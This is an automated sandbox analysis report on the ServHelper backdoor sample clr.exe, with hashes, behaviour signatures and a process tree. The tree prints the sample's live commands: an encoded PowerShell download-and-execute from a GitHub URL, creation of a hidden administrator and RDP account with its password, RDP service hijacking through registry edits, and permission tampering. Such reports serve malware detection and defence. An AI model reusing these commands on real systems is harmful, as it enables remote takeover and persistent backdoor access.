Analysis
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max time kernel
126s -
max time network
131s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
26-10-2021 09:33
Static task
static1
Behavioral task
behavioral1
Sample
clr.exe
Resource
win7-en-20210920
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
clr.exe
Resource
win10-en-20211014
windows10_x64
0 signatures
0 seconds
General
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Target
clr.exe
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Size
5.7MB
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MD5
63151e4f7c3972f18a23c0e9996e14ef
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SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270
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SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3
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SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1420 powershell.exe 6 1420 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 928 icacls.exe 1164 takeown.exe 892 icacls.exe 1300 icacls.exe 1404 icacls.exe 1328 icacls.exe 1716 icacls.exe 1828 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x00070000000132dc-132.dat upx behavioral1/files/0x00060000000132fb-133.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1356 Process not Found 1356 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1300 icacls.exe 1404 icacls.exe 1328 icacls.exe 1716 icacls.exe 1828 icacls.exe 928 icacls.exe 1164 takeown.exe 892 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LMZA2NP1EUBGL5J7TDRK.temp powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 20cbdd154dcad701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1644 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1560 powershell.exe 1796 powershell.exe 1180 powershell.exe 956 powershell.exe 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 1420 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 464 Process not Found 1356 Process not Found 1356 Process not Found 1356 Process not Found 1356 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1560 powershell.exe Token: SeDebugPrivilege 1796 powershell.exe Token: SeDebugPrivilege 1180 powershell.exe Token: SeDebugPrivilege 956 powershell.exe Token: SeRestorePrivilege 1300 icacls.exe Token: SeAssignPrimaryTokenPrivilege 696 WMIC.exe Token: SeIncreaseQuotaPrivilege 696 WMIC.exe Token: SeAuditPrivilege 696 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 696 WMIC.exe Token: SeIncreaseQuotaPrivilege 696 WMIC.exe Token: SeAuditPrivilege 696 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1280 WMIC.exe Token: SeIncreaseQuotaPrivilege 1280 WMIC.exe Token: SeAuditPrivilege 1280 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1280 WMIC.exe Token: SeIncreaseQuotaPrivilege 1280 WMIC.exe Token: SeAuditPrivilege 1280 WMIC.exe Token: SeDebugPrivilege 1420 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 772 wrote to memory of 1560 772 clr.exe 29 PID 772 wrote to memory of 1560 772 clr.exe 29 PID 772 wrote to memory of 1560 772 clr.exe 29 PID 1560 wrote to memory of 1572 1560 powershell.exe 31 PID 1560 wrote to memory of 1572 1560 powershell.exe 31 PID 1560 wrote to memory of 1572 1560 powershell.exe 31 PID 1572 wrote to memory of 1580 1572 csc.exe 32 PID 1572 wrote to memory of 1580 1572 csc.exe 32 PID 1572 wrote to memory of 1580 1572 csc.exe 32 PID 1560 wrote to memory of 1796 1560 powershell.exe 33 PID 1560 wrote to memory of 1796 1560 powershell.exe 33 PID 1560 wrote to memory of 1796 1560 powershell.exe 33 PID 1560 wrote to memory of 1180 1560 powershell.exe 35 PID 1560 wrote to memory of 1180 1560 powershell.exe 35 PID 1560 wrote to memory of 1180 1560 powershell.exe 35 PID 1560 wrote to memory of 956 1560 powershell.exe 37 PID 1560 wrote to memory of 956 1560 powershell.exe 37 PID 1560 wrote to memory of 956 1560 powershell.exe 37 PID 1560 wrote to memory of 1164 1560 powershell.exe 39 PID 1560 wrote to memory of 1164 1560 powershell.exe 39 PID 1560 wrote to memory of 1164 1560 powershell.exe 39 PID 1560 wrote to memory of 892 1560 powershell.exe 40 PID 1560 wrote to memory of 892 1560 powershell.exe 40 PID 1560 wrote to memory of 892 1560 powershell.exe 40 PID 1560 wrote to memory of 1300 1560 powershell.exe 41 PID 1560 wrote to memory of 1300 1560 powershell.exe 41 PID 1560 wrote to memory of 1300 1560 powershell.exe 41 PID 1560 wrote to memory of 1404 1560 powershell.exe 42 PID 1560 wrote to memory of 1404 1560 powershell.exe 42 PID 1560 wrote to memory of 1404 1560 powershell.exe 42 PID 1560 wrote to memory of 1328 1560 powershell.exe 43 PID 1560 wrote to memory of 1328 1560 powershell.exe 43 PID 1560 wrote to memory of 1328 1560 powershell.exe 43 PID 1560 wrote to memory of 1716 1560 powershell.exe 44 PID 1560 wrote to memory of 1716 1560 powershell.exe 44 PID 1560 wrote to memory of 1716 1560 powershell.exe 44 PID 1560 wrote to memory of 1828 1560 powershell.exe 45 PID 1560 wrote to memory of 1828 1560 powershell.exe 45 PID 1560 wrote to memory of 1828 1560 powershell.exe 45 PID 1560 wrote to memory of 928 1560 powershell.exe 46 PID 1560 wrote to memory of 928 1560 powershell.exe 46 PID 1560 wrote to memory of 928 1560 powershell.exe 46 PID 1560 wrote to memory of 1960 1560 powershell.exe 47 PID 1560 wrote to memory of 1960 1560 powershell.exe 47 PID 1560 wrote to memory of 1960 1560 powershell.exe 47 PID 1560 wrote to memory of 1644 1560 powershell.exe 48 PID 1560 wrote to memory of 1644 1560 powershell.exe 48 PID 1560 wrote to memory of 1644 1560 powershell.exe 48 PID 1560 wrote to memory of 108 1560 powershell.exe 49 PID 1560 wrote to memory of 108 1560 powershell.exe 49 PID 1560 wrote to memory of 108 1560 powershell.exe 49 PID 1560 wrote to memory of 1748 1560 powershell.exe 50 PID 1560 wrote to memory of 1748 1560 powershell.exe 50 PID 1560 wrote to memory of 1748 1560 powershell.exe 50 PID 1748 wrote to memory of 1420 1748 net.exe 51 PID 1748 wrote to memory of 1420 1748 net.exe 51 PID 1748 wrote to memory of 1420 1748 net.exe 51 PID 1560 wrote to memory of 1980 1560 powershell.exe 52 PID 1560 wrote to memory of 1980 1560 powershell.exe 52 PID 1560 wrote to memory of 1980 1560 powershell.exe 52 PID 1980 wrote to memory of 1740 1980 cmd.exe 53 PID 1980 wrote to memory of 1740 1980 cmd.exe 53 PID 1980 wrote to memory of 1740 1980 cmd.exe 53 PID 1740 wrote to memory of 1624 1740 cmd.exe 54
Processes
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C:\Users\Admin\AppData\Local\Temp\clr.exe"C:\Users\Admin\AppData\Local\Temp\clr.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\7uevhi3g.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1EE7.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1EE6.tmp"4⤵PID:1580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1796
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1180
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1164
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:892
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1300
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1404
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1328
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1716
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1828
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:928
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1960
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1644
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:108
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1748 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1420
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1624
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1548
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1744
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1292
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C:\Windows\system32\net.exenet start TermService5⤵PID:996
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1380
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:2016
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1740
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1468
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1464
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1300
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Yi8DJrJ7 /add1⤵PID:1760
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc Yi8DJrJ7 /add2⤵PID:1732
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Yi8DJrJ7 /add3⤵PID:1716
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:940
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1932
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1888
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD1⤵PID:2012
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD2⤵PID:952
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD3⤵PID:1636
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1980
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:272
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1572
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Yi8DJrJ71⤵PID:892
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc Yi8DJrJ72⤵PID:1736
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Yi8DJrJ73⤵PID:316
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1404
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:696
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:684
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1280
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:432
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1708
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1420
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